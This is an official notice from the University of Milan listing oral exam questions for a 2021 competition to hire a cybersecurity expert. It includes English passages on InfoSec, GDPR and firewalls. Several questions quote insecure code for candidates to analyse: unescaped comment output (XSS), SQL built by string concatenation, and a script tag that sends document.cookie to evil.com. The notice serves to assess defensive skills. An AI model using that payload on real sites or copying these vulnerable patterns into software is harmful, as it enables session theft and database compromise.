UNIVERSITÀ DEGLI STUDI DI MILANO

CONCORSO PUBBLICO, PER TITOLI ED ESAMI, A N. 1 POSTO DI CATEGORIA D, POSIZIONE ECONOMICA D1 - AREA TECNICA, TECNICO-SCIENTIFICA ED ELABORAZIONE DATI – ESPERTO/A DI SICUREZZA INFORMATICA, CON RAPPORTO DI LAVORO SUBORDINATO A TEMPO INDETERMINATO, FULL TIME, PRESSO LA DIREZIONE ICT – SETTORE CYBERSECURITY, PROTEZIONE DATI E CONFORMITÀ DA RISERVARE, PRIORITARIAMENTE, ALLE CATEGORIE DI VOLONTARI/E DELLE FORZE ARMATE IN FERMA BREVE O IN FERMA PREFISSATA DI CUI AGLI ARTT. 1014 E 678 DEL D.LGS 15.3.2010, N. 66 – CODICE 21766

La Commissione giudicatrice del concorso, nominata con Determina Direttoriale n. 15923 del 13.10.2021, composta da:

Dott.ssa Nicla Ivana Diomede	Presidente
Dott. Franco Leveraro	Componente
Dott. Emanuele Blunda	Componente
Dott.ssa Marcella Montagna	Segretaria

comunica i quesiti relativi alla prova orale:

GRUPPO DI QUESITI N. 1

1. Qui sotto viene riportato una porzione di codice presente all'interno di un web server. Scopo di questo codice è visualizzare su una pagina web un commento reperito da un apposito database.
   ```
   print "<html>"
   print "<h1>Most recent comment</h1>"
   print database.latestComment
   print "</html>"
   ```
2. Il candidato illustri le possibilita' operative attribuite a ciascuna categoria di utenti e le caratteristiche dei permessi configurati per i seguenti file o directory di un filesystem POSIX su SO linux:
   ```
   -rwxr-xr--  1 amrood   users 1024  Nov 2 00:10  testfile
   drwxr-x--x  1 amrood   users 1024  Nov 2 00:14  testdir
   -rwxrwxr-x+ 1 amrood   users 1024  Nov 2 00:10  smbfile
   -rwsr-xr-x  1   root   root  19031 Feb 7 13:47  /usr/bin/passwd
   drwxrwxrwt. 12  root   root   4096 Oct 20 15:08 /tmp
   ```
3. Quali procedure adottereste per fare il controllo della robustezza della password ospitate su un server
4. Indicare in modo sintetico i principali aspetti connessi alla cloud security scegliendo uno scenario di riferimento

Brano in inglese: INFORMATION SECURITY

Information Security, sometimes shortened to InfoSec, is the practice of protecting information by mitigating information risks. It is part of information risk management. It typically involves preventing or reducing the probability of unauthorized/inappropriate access to data, or the unlawful use, disclosure, disruption, deletion, corruption, modification, inspection, recording, or devaluation of information. It also involves actions intended to reduce the adverse impacts of such incidents. Protected information may take any form, e.g. electronic or physical, tangible (e.g. paperwork) or intangible (e.g. knowledge). Information security's primary focus is the balanced protection of the confidentiality, integrity, and availability of data (also known as the CIA triad) while maintaining a focus on efficient policy implementation, all without hampering organization productivity.

This is largely achieved through a structured risk management process that involves:

- identifying information and related assets, plus potential threats, vulnerabilities, and impacts;
- evaluating the risks;
- deciding how to address or treat the risks i.e. to avoid, mitigate, share or accept them;
- where risk mitigation is required, selecting or designing appropriate

security controls and implementing them;
- monitoring the activities, making adjustments as necessary to address any issues, changes and improvement opportunities.

GRUPPO DI QUESITI N. 2

1. Il seguente Javascript viene usato in contesti ben definiti: quali sono questi contesti, quali sono le funzioni svolte da questo script e le possibili conseguenze derivanti dalla sua esecuzione?
   `<script> window.location="http://evil.com/?cookie=" + document.cookie </script>`
2. Siete un amministratore di sistema e durante un controllo periodico a seguito del comando:
   [user@localhost]$ ls -la
   Vi appare tra gli altri il seguente file:
   -rwsr-xr-x 1 usera groupb 41836 2012-10-14 19:19 program.exe
   Quali sono rischi connessi con questa situazione? Come gestite la situazione?
3. Descrivere le fasi di gestione degli incidenti
4. Descrivere le best practices più comuni per lo sviluppo sicuro di un'applicazione web a tre livelli (front end, application server e database) facendo riferimento alle possibili minacce che si vogliono mitigare.

Brano in inglese: REGULATION 2016/679 OF THE EUROPEAN PARLIAMENT AND OF THE COUNCIL
In order to ensure a consistent and high level of protection of natural persons and to remove the obstacles to flows of personal data within the Union, the level of protection of the rights and freedoms of natural persons with regard to the processing of such data should be equivalent in all Member States. Consistent and homogenous application of the rules for the protection of the fundamental rights and freedoms of natural persons with regard to the processing of personal data should be ensured throughout the Union.
Regarding the processing of personal data for compliance with a legal obligation, for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller, Member States should be allowed to maintain or introduce national provisions to further specify the application of the rules of this Regulation.
In conjunction with the general and horizontal law on data protection implementing Directive 95/46/EC, Member States have several sector-specific laws in areas that need more specific provisions. This Regulation also provides a margin of maneuver for Member States to specify its rules, including for the processing of special categories of personal data ('sensitive data'). To that extent, this Regulation does not exclude Member State law that sets out the circumstances for specific processing situations, including determining more precisely the conditions under which the processing of personal data is lawful.

GRUPPO DI QUESITI N. 3

1. Si consideri la seguente porzione di codice che accede al database Users usando la chiave txtUserId acquisita come dato di input attraverso la funzione getRequestString. Quali sono i potenziali rischi derivanti dall'adozione di questo codice? Quali le contromisure note per evitarli?
   ```
   txtUserId = getRequestString("UserId");
   txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
   ```
2. Siete un amministratore di sistema e durante un controllo periodico a seguito del comando:
   [user@localhost]$ ls -la
   Vi appare tra gli altri il seguente file:
   -rwsr-xr-x 1 root root 41836 2012-10-14 19:19 program.exe
   Quali sono rischi connessi con questa situazione? Come gestite la situazione?
3. Il candidato descriva cosa si intende per DMZ facendone un esempio
4. Ransomware: descrivere le problematiche legate a questi tipi di malware e le possibili metodologie di difesa

Brano in inglese: FIREWALL
In computing, a firewall is a network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. A firewall typically establishes a barrier between a trusted network and an untrusted network, such as the Internet.
The term firewall originally referred to a wall intended to confine a fire within a line of adjacent buildings. Later uses refer to similar structures, such as the metal sheet separating the engine compartment of a

vehicle or aircraft from the passenger compartment. The term was applied in the late 1980s to network technology that emerged when the Internet was fairly new in terms of its global use and connectivity. The predecessors to firewalls for network security were routers used in the late 1980s. Because they already segregated networks, routers could apply filtering to packets crossing them.
Before it was used in real-life computing, the term appeared in the 1983 computer-hacking movie WarGames, and possibly inspired its later use.
Firewalls are categorized as a network-based or a host-based system.
Network-based firewalls can be positioned anywhere within a LAN or WAN.
They are either a software appliance running on general-purpose hardware, a hardware appliance running on special-purpose hardware, or a virtual appliance running on a virtual host controlled by a hypervisor.
Firewall appliances may also offer non firewall functionality, such as DHCP or VPN services. Host-based firewalls are deployed directly on the host itself to control network traffic or other computing resources. This can be a daemon or service as a part of the operating system or an agent application for protection.

Milano, 25 Ottobre 2021

La Commissione

Dott.ssa Nicla Ivana Diomede - Presidente

Dott. Franco Leveraro - Componente

Dott. Emanuele Blunda - Componente

Dott.ssa Marcella Montagna - Segretaria